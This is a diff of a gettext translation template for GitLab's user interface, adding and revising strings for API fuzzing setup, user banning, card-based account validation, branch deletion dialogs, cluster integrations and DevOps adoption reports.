+msgid "APIFuzzing|File path or URL to APIs to be tested. For example, folder/example_fuzz.har. HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
+msgid "APIFuzzing|File path or URL to OpenAPI specification. For example, folder/openapi.json or http://www.example.com/openapi.json."
msgstr ""
-msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
+msgid "APIFuzzing|File path or URL to requests to be tested. For example, folder/example.postman_collection.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
msgstr ""
-msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
-msgstr ""
-
msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
-msgstr ""
-
msgid "APIFuzzing|Predefined profiles"
msgstr ""
@@ -1491,7 +1495,7 @@ msgstr ""
msgid "APIFuzzing|Target URL"
msgstr ""
-msgid "APIFuzzing|There are two ways to perform scans."
+msgid "APIFuzzing|There are three ways to perform scans."
msgstr ""
msgid "APIFuzzing|Tip: Insert the following variables anywhere below stages and include"
@@ -1518,6 +1522,15 @@ msgstr ""
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
+msgid "APIFuzzing|folder/example.postman_collection.json"
+msgstr ""
+
+msgid "APIFuzzing|folder/example_fuzz.har"
+msgstr ""
+
+msgid "APIFuzzing|folder/openapi.json"
+msgstr ""
+
msgid "AWS Access Key"
msgstr ""
@@ -1785,6 +1798,9 @@ msgstr ""
msgid "Add a bullet list"
msgstr ""
+msgid "Add a collapsible section"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2061,6 +2077,9 @@ msgstr ""
msgid "Adjust your filters/search criteria above. If you believe this may be an error, please refer to the %{linkStart}Geo Troubleshooting%{linkEnd} documentation for more information."
msgstr ""
+msgid "Admin"
+msgstr ""
+
msgid "Admin Area"
msgstr ""
@@ -2226,9 +2245,6 @@ msgstr ""
msgid "AdminSettings|Feed token"
msgstr ""
-msgid "AdminSettings|Go to General Settings"
-msgstr ""
-
msgid "AdminSettings|Keep the latest artifacts for all jobs in the latest successful pipelines"
msgstr ""
@@ -2241,9 +2257,6 @@ msgstr ""
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|PlantUML, Slack application, Third party offers, Snowplow, Amazon EKS have moved to Settings &gt; General."
-msgstr ""
-
msgid "AdminSettings|Required pipeline configuration"
msgstr ""
@@ -2268,9 +2281,6 @@ msgstr ""
msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
msgstr ""
-msgid "AdminSettings|Some settings have moved"
-msgstr ""
-
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
msgstr ""
@@ -2316,6 +2326,9 @@ msgstr ""
msgid "AdminUsers|(Admin)"
msgstr ""
+msgid "AdminUsers|(Banned)"
+msgstr ""
+
msgid "AdminUsers|(Blocked)"
msgstr ""
@@ -2334,6 +2347,9 @@ msgstr ""
msgid "AdminUsers|2FA Enabled"
msgstr ""
+msgid "AdminUsers|A user can validate themselves by inputting a credit/debit card, or an admin can manually validate a user."
+msgstr ""
+
msgid "AdminUsers|Access"
msgstr ""
@@ -2382,6 +2398,21 @@ msgstr ""
msgid "AdminUsers|Automatically marked as default internal user"
msgstr ""
+msgid "AdminUsers|Ban"
+msgstr ""
+
+msgid "AdminUsers|Ban user"
+msgstr ""
+
+msgid "AdminUsers|Ban user %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Banned"
+msgstr ""
+
+msgid "AdminUsers|Banning the user has the following effects:"
+msgstr ""
+
msgid "AdminUsers|Be added to groups and projects"
msgstr ""
@@ -2412,6 +2443,9 @@ msgstr ""
msgid "AdminUsers|Cohorts"
msgstr ""
+msgid "AdminUsers|Could not load user group counts. Please refresh the page to try again."
+msgstr ""
+
msgid "AdminUsers|Deactivate"
msgstr ""
@@ -2466,6 +2500,9 @@ msgstr ""
msgid "AdminUsers|It's you!"
msgstr ""
+msgid "AdminUsers|Learn more about %{link_start}banned users.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Log in"
msgstr ""
@@ -2547,6 +2584,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unban"
+msgstr ""
+
+msgid "AdminUsers|Unban %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Unban user"
+msgstr ""
+
msgid "AdminUsers|Unblock"
msgstr ""
@@ -2562,6 +2608,12 @@ msgstr ""
msgid "AdminUsers|Unlock user %{username}?"
msgstr ""
+msgid "AdminUsers|User is validated and can use free CI minutes on shared runners."
+msgstr ""
+
+msgid "AdminUsers|User will be blocked"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2574,6 +2626,9 @@ msgstr ""
msgid "AdminUsers|Users can still be invited to your instance and/or add themselves if permitted based on your settings. They will not have access to your instance, nor count towards your subscribed seat count until you %{approve_link}."
msgstr ""
+msgid "AdminUsers|Validate user account"
+msgstr ""
+
msgid "AdminUsers|View pending member requests"
msgstr ""
@@ -2598,6 +2653,9 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You ban their account in the future if necessary."
+msgstr ""
+
msgid "AdminUsers|You can always block their account again if needed."
msgstr ""
@@ -2610,6 +2668,9 @@ msgstr ""
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
+msgid "AdminUsers|You can unban their account in the future. Their data remains intact."
+msgstr ""
+
msgid "AdminUsers|You cannot remove your own admin rights."
msgstr ""
@@ -2655,9 +2716,6 @@ msgstr ""
msgid "Advanced Search"
msgstr ""
-msgid "Advanced Search with Elasticsearch"
-msgstr ""
-
msgid "Advanced Settings"
msgstr ""
@@ -2695,9 +2753,6 @@ msgid "Alert"
msgid_plural "Alerts"
msgstr[0] ""
-msgid "Alert integrations"
-msgstr ""
-
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -3067,9 +3122,6 @@ msgstr ""
msgid "All epics"
msgstr ""
-msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
-msgstr ""
-
msgid "All groups and projects"
msgstr ""
@@ -3172,6 +3224,9 @@ msgstr ""
msgid "Allowed Geo IP"
msgstr ""
+msgid "Allowed characters: +, 0-9, -, and spaces."
+msgstr ""
+
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
@@ -3385,6 +3440,9 @@ msgstr ""
msgid "An error occurred while fetching markdown preview"
msgstr ""
+msgid "An error occurred while fetching participants"
+msgstr ""
+
msgid "An error occurred while fetching participants."
msgstr ""
@@ -3478,9 +3536,6 @@ msgstr ""
msgid "An error occurred while loading merge requests."
msgstr ""
-msgid "An error occurred while loading project creation UI"
-msgstr ""
-
msgid "An error occurred while loading the access tokens form, please try again."
msgstr ""
@@ -3550,7 +3605,7 @@ msgstr ""
msgid "An error occurred while reordering issues."
msgstr ""
-msgid "An error occurred while requesting data from the Jira service"
+msgid "An error occurred while requesting data from the Jira service."
msgstr ""
msgid "An error occurred while retrieving calendar activity"
@@ -4019,6 +4074,9 @@ msgstr ""
msgid "Approvers"
msgstr ""
+msgid "Approvers from private group(s) not shown"
+msgstr ""
+
msgid "Apr"
msgstr ""
@@ -4049,16 +4107,13 @@ msgstr ""
msgid "Archived in this version"
msgstr ""
-msgid "Archived project! Repository and other project resources are read only"
-msgstr ""
-
msgid "Archived project! Repository and other project resources are read-only"
msgstr ""
msgid "Archived projects"
msgstr ""
-msgid "Archiving the project will make it entirely read only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
+msgid "Archiving the project will make it entirely read-only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
@@ -4634,7 +4689,7 @@ msgstr ""
msgid "Automatic deployment rollbacks"
msgstr ""
-msgid "Automatically close incidents when the associated Prometheus alert resolves."
+msgid "Automatically close associated incident when a recovery alert notification resolves an alert"
msgstr ""
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
@@ -4703,6 +4758,9 @@ msgstr ""
msgid "Background Jobs"
msgstr ""
+msgid "Background Migrations"
+msgstr ""
+
msgid "Background color"
msgstr ""
@@ -4859,6 +4917,9 @@ msgstr ""
msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
+msgid "BillingPlans|Compare all plans"
+msgstr ""
+
msgid "BillingPlans|Congratulations, your free trial is activated."
msgstr ""
@@ -4877,6 +4938,9 @@ msgstr ""
msgid "BillingPlans|Learn more about each plan by visiting our %{pricing_page_link}."
msgstr ""
+msgid "BillingPlans|Looking to purchase or manage a subscription for your group? Navigate to your %{groups_link} and go to %{strong_open}Settings &gt; Billing.%{strong_close}"
+msgstr ""
+
msgid "BillingPlans|Manage plan"
msgstr ""
@@ -4892,6 +4956,9 @@ msgstr ""
msgid "BillingPlans|To manage the plan for this group, visit the billing section of %{parent_billing_page_link}."
msgstr ""
+msgid "BillingPlans|Upgrade to GitLab %{planNameForUpgrade}"
+msgstr ""
+
msgid "BillingPlans|While GitLab is ending availability of the Bronze plan, you can still renew your Bronze subscription one additional time before %{eoa_bronze_plan_end_date}. We are also offering a limited time free upgrade to our Premium Plan (up to 25 users)! Learn more about the changes and offers in our %{announcement_link}."
msgstr ""
@@ -4910,6 +4977,9 @@ msgstr ""
msgid "BillingPlans|frequently asked questions"
msgstr ""
+msgid "BillingPlans|group"
+msgstr ""
+
msgid "BillingPlans|monthly"
msgstr ""
@@ -4925,6 +4995,27 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd}"
+msgstr ""
+
+msgid "Billings|User successfully validated"
+msgstr ""
+
+msgid "Billings|User validation required"
+msgstr ""
+
+msgid "Billings|Validate account"
+msgstr ""
+
+msgid "Billings|Validate user account"
+msgstr ""
+
+msgid "Billings|Your user account has been successfully validated. You can now use free pipeline minutes."
+msgstr ""
+
msgid "Billing|An email address is only visible for users with public emails."
msgstr ""
@@ -4937,6 +5028,9 @@ msgstr ""
msgid "Billing|An error occurred while removing a billable member"
msgstr ""
+msgid "Billing|Cannot remove user"
+msgstr ""
+
msgid "Billing|Direct memberships"
msgstr ""
@@ -4946,6 +5040,12 @@ msgstr ""
msgid "Billing|Group"
msgstr ""
+msgid "Billing|Group invite"
+msgstr ""
+
+msgid "Billing|Members who were invited via a group invitation cannot be removed. You can either remove the entire group, or ask an Owner of the invited group to remove the member."
+msgstr ""
+
msgid "Billing|No users to display."
msgstr ""
@@ -5171,6 +5271,9 @@ msgstr ""
msgid "Branches|All"
msgstr ""
+msgid "Branches|Cancel, keep branch"
+msgstr ""
+
msgid "Branches|Cant find HEAD commit for this branch"
msgstr ""
@@ -5183,6 +5286,9 @@ msgstr ""
msgid "Branches|Delete branch"
msgstr ""
+msgid "Branches|Delete branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
msgid "Branches|Delete merged branches"
msgstr ""
@@ -5192,6 +5298,12 @@ msgstr ""
msgid "Branches|Delete protected branch '%{branch_name}'?"
msgstr ""
+msgid "Branches|Delete protected branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
+msgid "Branches|Deleting the %{strongStart}%{branchName}%{strongEnd} branch cannot be undone. Are you sure?"
+msgstr ""
+
msgid "Branches|Deleting the '%{branch_name}' branch cannot be undone. Are you sure?"
msgstr ""
@@ -5213,12 +5325,18 @@ msgstr ""
msgid "Branches|Once you confirm and press %{delete_protected_branch}, it cannot be undone or recovered."
msgstr ""
+msgid "Branches|Once you confirm and press %{strongStart}%{buttonText},%{strongEnd} it cannot be undone or recovered."
+msgstr ""
+
msgid "Branches|Only a project maintainer or owner can delete a protected branch"
msgstr ""
msgid "Branches|Overview"
msgstr ""
+msgid "Branches|Please type the following to confirm:"
+msgstr ""
+
msgid "Branches|Protected branches can be managed in %{project_settings_link}."
msgstr ""
@@ -5252,6 +5370,9 @@ msgstr ""
msgid "Branches|The default branch cannot be deleted"
msgstr ""
+msgid "Branches|This branch hasn’t been merged into %{defaultBranchName}. To avoid data loss, consider merging this branch before deleting it."
+msgstr ""
+
msgid "Branches|This branch hasn’t been merged into %{default_branch}."
msgstr ""
@@ -5264,6 +5385,18 @@ msgstr ""
msgid "Branches|To discard the local changes and overwrite the branch with the upstream version, delete it here and choose 'Update Now' above."
msgstr ""
+msgid "Branches|Yes, delete branch"
+msgstr ""
+
+msgid "Branches|Yes, delete protected branch"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the protected branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
msgid "Branches|You’re about to permanently delete the protected branch %{branch_name}."
msgstr ""
@@ -5333,6 +5466,9 @@ msgstr ""
msgid "BulkImport|From source group"
msgstr ""
+msgid "BulkImport|Import %{groups}"
+msgstr ""
+
msgid "BulkImport|Import failed: Destination cannot be a subgroup of the source group. Change the destination and try again."
msgstr ""
@@ -5345,9 +5481,15 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|No groups on this page are available for import"
+msgstr ""
+
msgid "BulkImport|No parent"
msgstr ""
+msgid "BulkImport|One or more groups has validation errors"
+msgstr ""
+
msgid "BulkImport|Showing %{start}-%{end} of %{total}"
msgstr ""
@@ -5414,9 +5556,6 @@ msgstr ""
msgid "By authenticating with an account tied to an Enterprise e-mail address, it is understood that this account is an Enterprise User. "
msgstr ""
-msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
-msgstr ""
-
msgid "By default GitLab sends emails in HTML and plain text formats so mail clients can choose what format to use. Disable this option if you only want to send emails in plain text format."
msgstr ""
@@ -5465,15 +5604,15 @@ msgstr ""
msgid "CI/CD configuration file"
msgstr ""
-msgid "CI/CD for external repo"
-msgstr ""
-
msgid "CICDAnalytics|%{percent}%{percentSymbol}"
msgstr ""
msgid "CICDAnalytics|All time"
msgstr ""
+msgid "CICDAnalytics|Deployment frequency"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5481,6 +5620,9 @@ msgid "CICDAnalytics|Release"
msgid_plural "CICDAnalytics|Releases"
msgstr[0] ""
+msgid "CICDAnalytics|Release statistics"
+msgstr ""
+
msgid "CICDAnalytics|Releases"
msgstr ""
@@ -6174,7 +6316,7 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
+msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
msgid "Choose a file"
@@ -6558,72 +6700,6 @@ msgstr ""
msgid "Cloud licenses can not be removed."
msgstr ""
-msgid "CloudLicense|Activate"
-msgstr ""
-
-msgid "CloudLicense|Activate subscription"
-msgstr ""
-
-msgid "CloudLicense|Activation code"
-msgstr ""
-
-msgid "CloudLicense|Billable users"
-msgstr ""
-
-msgid "CloudLicense|Buy subscription"
-msgstr ""
-
-msgid "CloudLicense|Free trial"
-msgstr ""
-
-msgid "CloudLicense|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
-msgstr ""
-
-msgid "CloudLicense|Learn how to %{linkStart}activate your subscription%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|Maximum users"
-msgstr ""
-
-msgid "CloudLicense|Paste your activation code"
-msgstr ""
-
-msgid "CloudLicense|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
-msgstr ""
-
-msgid "CloudLicense|Start free trial"
-msgstr ""
-
-msgid "CloudLicense|Subscription"
-msgstr ""
-
-msgid "CloudLicense|This is the highest peak of users on your installation since the license started."
-msgstr ""
-
-msgid "CloudLicense|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
-msgstr ""
-
-msgid "CloudLicense|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Sync service%{linkEnd}, a hassle-free way to manage your subscription."
-msgstr ""
-
-msgid "CloudLicense|Users in subscription"
-msgstr ""
-
-msgid "CloudLicense|Users over subscription"
-msgstr ""
-
-msgid "CloudLicense|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
-msgstr ""
-
-msgid "CloudLicense|You can start a free trial of GitLab Ultimate without any obligation or payment details."
-msgstr ""
-
-msgid "CloudLicense|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -6786,6 +6862,12 @@ msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespaces and service accounts for this cluster."
msgstr ""
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Elasticsearch for pod logs."
+msgstr ""
+
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
+msgstr ""
+
msgid "ClusterIntegration|Alternatively, "
msgstr ""
@@ -6828,12 +6910,6 @@ msgstr ""
msgid "ClusterIntegration|Base domain"
msgstr ""
-msgid "ClusterIntegration|Before you enable this integration, follow the %{link_start}documented process%{link_end}."
-msgstr ""
-
-msgid "ClusterIntegration|Blocking mode"
-msgstr ""
-
msgid "ClusterIntegration|CA Certificate"
msgstr ""
@@ -6996,6 +7072,9 @@ msgstr ""
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
+msgid "ClusterIntegration|Enable Elastic Stack integration"
+msgstr ""
+
msgid "ClusterIntegration|Enable Prometheus integration"
msgstr ""
@@ -7080,9 +7159,6 @@ msgstr ""
msgid "ClusterIntegration|GitLab-managed cluster"
msgstr ""
-msgid "ClusterIntegration|Global default"
-msgstr ""
-
msgid "ClusterIntegration|Google Cloud Platform project"
msgstr ""
@@ -7143,7 +7219,7 @@ msgstr ""
msgid "ClusterIntegration|Integration enabled"
msgstr ""
-msgid "ClusterIntegration|Integrations enable you to integrate your cluster as part of your GitLab workflow."
+msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
msgid "ClusterIntegration|Issuer Email"
@@ -7239,9 +7315,6 @@ msgstr ""
msgid "ClusterIntegration|Loading subnetworks"
msgstr ""
-msgid "ClusterIntegration|Logging mode"
-msgstr ""
-
msgid "ClusterIntegration|Machine type"
msgstr ""
@@ -7254,9 +7327,6 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
-msgid "ClusterIntegration|ModSecurity enabled"
-msgstr ""
-
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7353,9 +7423,6 @@ msgstr ""
msgid "ClusterIntegration|Read our %{link_start}help page%{link_end} on Kubernetes cluster integration."
msgstr ""
-msgid "ClusterIntegration|Real-time web application monitoring, logging and access control. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Remove Kubernetes cluster integration"
msgstr ""
@@ -7494,9 +7561,6 @@ msgstr ""
msgid "ClusterIntegration|Send Container Network Policies Logs"
msgstr ""
-msgid "ClusterIntegration|Send Web Application Firewall Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7509,9 +7573,6 @@ msgstr ""
msgid "ClusterIntegration|Set a prefix for your namespaces. If not set, defaults to your project path. If modified, existing environments will use their current namespaces until the cluster cache is cleared."
msgstr ""
-msgid "ClusterIntegration|Set the global mode for the WAF in this cluster. This can be overridden at the environmental level."
-msgstr ""
-
msgid "ClusterIntegration|Something went wrong on our end."
msgstr ""
@@ -7785,6 +7846,15 @@ msgstr ""
msgid "CodeOwner|Pattern"
msgstr ""
+msgid "CodeQuality|Code quality"
+msgstr ""
+
+msgid "CodeQuality|New code quality degradations in this file"
+msgstr ""
+
+msgid "CodeQuality|Some changes in this file degrade the code quality."
+msgstr ""
+
msgid "Cohorts|Inactive users"
msgstr ""
@@ -7927,6 +7997,9 @@ msgstr ""
msgid "CommitMessage|Add %{file_name}"
msgstr ""
+msgid "CommitMessage|Add %{file_name} and create a code quality job"
+msgstr ""
+
msgid "CommitWidget|authored"
msgstr ""
@@ -8065,9 +8138,6 @@ msgstr ""
msgid "Compliance framework"
msgstr ""
-msgid "Compliance framework (optional)"
-msgstr ""
-
msgid "Compliance framework (optional)"
msgstr ""
@@ -8188,6 +8258,9 @@ msgstr ""
msgid "Configuration"
msgstr ""
+msgid "Configuration help"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8251,6 +8324,9 @@ msgstr ""
msgid "Configure repository mirroring."
msgstr ""
+msgid "Configure settings for Advanced Search with Elasticsearch."
+msgstr ""
+
msgid "Configure specific limits for Packages API requests that supersede the general user and IP rate limits."
msgstr ""
@@ -8406,6 +8482,9 @@ msgstr ""
msgid "ContainerRegistry|%{title} was successfully scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|-- tags"
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -9085,9 +9164,6 @@ msgstr ""
msgid "Create Project"
msgstr ""
-msgid "Create Value Stream"
-msgstr ""
-
msgid "Create a GitLab account first, and then connect it to your %{label} account."
msgstr ""
@@ -9118,9 +9194,6 @@ msgstr ""
msgid "Create a personal access token on your account to pull or push via %{protocol}."
msgstr ""
-msgid "Create a project pre-populated with the necessary files to get you started quickly."
-msgstr ""
-
msgid "Create an account using:"
msgstr ""
@@ -9172,6 +9245,9 @@ msgstr ""
msgid "Create group label"
msgstr ""
+msgid "Create incident"
+msgstr ""
+
msgid "Create issue"
msgstr ""
@@ -9223,6 +9299,9 @@ msgstr ""
msgid "Create new label"
msgstr ""
+msgid "Create new project"
+msgstr ""
+
msgid "Create new..."
msgstr ""
@@ -9256,6 +9335,9 @@ msgstr ""
msgid "Create your group"
msgstr ""
+msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
+msgstr ""
+
msgid "Create/import your first project"
msgstr ""
@@ -9583,27 +9665,6 @@ msgstr ""
msgid "Custom range (UTC)"
msgstr ""
-msgid "CustomCycleAnalytics|Add a stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Add stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Editing stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|End event label"
-msgstr ""
-
-msgid "CustomCycleAnalytics|New stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Stage name already exists"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Start event label"
-msgstr ""
-
msgid "Customer Portal"
msgstr ""
@@ -9822,9 +9883,15 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Configuration"
+msgstr ""
+
msgid "DAST Scans"
msgstr ""
+msgid "DAST Settings"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -10044,9 +10111,6 @@ msgstr ""
msgid "DastProfiles|Password form field"
msgstr ""
-msgid "DastProfiles|Please enter a valid timeout value"
-msgstr ""
-
msgid "DastProfiles|Profile name"
msgstr ""
@@ -10411,6 +10475,9 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
+msgid "Delete Key"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11120,22 +11187,28 @@ msgstr ""
msgid "DevopsAdoption|Are you sure that you would like to remove %{name} from the table?"
msgstr ""
-msgid "DevopsAdoption|At least 1 MR opened"
+msgid "DevopsAdoption|At least one MR opened"
+msgstr ""
+
+msgid "DevopsAdoption|At least one approval on an MR"
msgstr ""
-msgid "DevopsAdoption|At least 1 approval on an MR"
+msgid "DevopsAdoption|At least one deploy"
msgstr ""
-msgid "DevopsAdoption|At least 1 deploy"
+msgid "DevopsAdoption|At least one issue opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 issue opened"
+msgid "DevopsAdoption|At least one pipeline successfully run"
msgstr ""
-msgid "DevopsAdoption|At least 1 pipeline successfully run"
+msgid "DevopsAdoption|At least one security scan of any type run in pipeline"
msgstr ""
-msgid "DevopsAdoption|At least 1 security scan of any type run in pipeline"
+msgid "DevopsAdoption|Code owners"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners enabled for at least one project"
msgstr ""
msgid "DevopsAdoption|Confirm remove Group"
@@ -11144,6 +11217,9 @@ msgstr ""
msgid "DevopsAdoption|Deploys"
msgstr ""
+msgid "DevopsAdoption|Dev"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
@@ -11171,6 +11247,9 @@ msgstr ""
msgid "DevopsAdoption|Not adopted"
msgstr ""
+msgid "DevopsAdoption|Ops"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11192,6 +11271,9 @@ msgstr ""
msgid "DevopsAdoption|Scanning"
msgstr ""
+msgid "DevopsAdoption|Sec"
+msgstr ""
+
msgid "DevopsAdoption|There was an error enabling the current group. Please refresh the page."
msgstr ""
@@ -11204,21 +11286,33 @@ msgstr ""
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
-msgid "DevopsReport|Adoption"
+msgid "DevopsReport|DevOps Score"
msgstr ""
-msgid "DevopsReport|DevOps"
+msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
msgstr ""
-msgid "DevopsReport|DevOps Score"
+msgid "DevopsReport|High"
msgstr ""
-msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
+msgid "DevopsReport|Leader usage"
+msgstr ""
+
+msgid "DevopsReport|Low"
+msgstr ""
+
+msgid "DevopsReport|Moderate"
msgstr ""
msgid "DevopsReport|Score"
msgstr ""
+msgid "DevopsReport|Your score"
+msgstr ""
+
+msgid "DevopsReport|Your usage"
+msgstr ""
+
msgid "Didn't receive a confirmation email?"
msgstr ""
@@ -11285,15 +11379,15 @@ msgstr ""
msgid "Disable public access to Pages sites"
msgstr ""
-msgid "Disable shared runners"
-msgstr ""
-
msgid "Disable two-factor authentication"
msgstr ""
msgid "Disabled"
msgstr ""
+msgid "Disabled by %{parent} owner"
+msgstr ""
+
msgid "Disabled mirrors can only be enabled by instance owners. It is recommended that you delete them."
msgstr ""
@@ -11321,6 +11415,9 @@ msgstr ""
msgid "DiscordService|Send notifications about project events to a Discord channel."
msgstr ""
+msgid "Discover"
+msgstr ""
+
msgid "Discover GitLab Geo"
msgstr ""
@@ -11547,7 +11644,7 @@ msgstr ""
msgid "Draft merge requests can't be merged."
msgstr ""
-msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
+msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} file to attach"
@@ -11562,6 +11659,24 @@ msgstr ""
msgid "Drop your files to start your upload."
msgstr ""
+msgid "DropdownWidget|An error occurred while fetching the assigned %{issuableAttribute} of the selected %{issuableType}."
+msgstr ""
+
+msgid "DropdownWidget|Assign %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|Failed to fetch the %{issuableAttribute} for this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|Failed to set %{issuableAttribute} on this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -11571,9 +11686,6 @@ msgstr ""
msgid "Duration"
msgstr ""
-msgid "Duration for the last 30 commits"
-msgstr ""
-
msgid "During this process, you’ll be asked for URLs from GitLab’s side. Use the URLs shown below."
msgstr ""
@@ -11688,9 +11800,6 @@ msgstr ""
msgid "Edit sidebar"
msgstr ""
-msgid "Edit stage"
-msgstr ""
-
msgid "Edit this file only."
msgstr ""
@@ -11745,6 +11854,9 @@ msgstr ""
msgid "Elasticsearch reindexing triggered"
msgstr ""
+msgid "Elasticsearch reindexing was not started: %{errors}"
+msgstr ""
+
msgid "Elasticsearch returned status code: %{status_code}"
msgstr ""
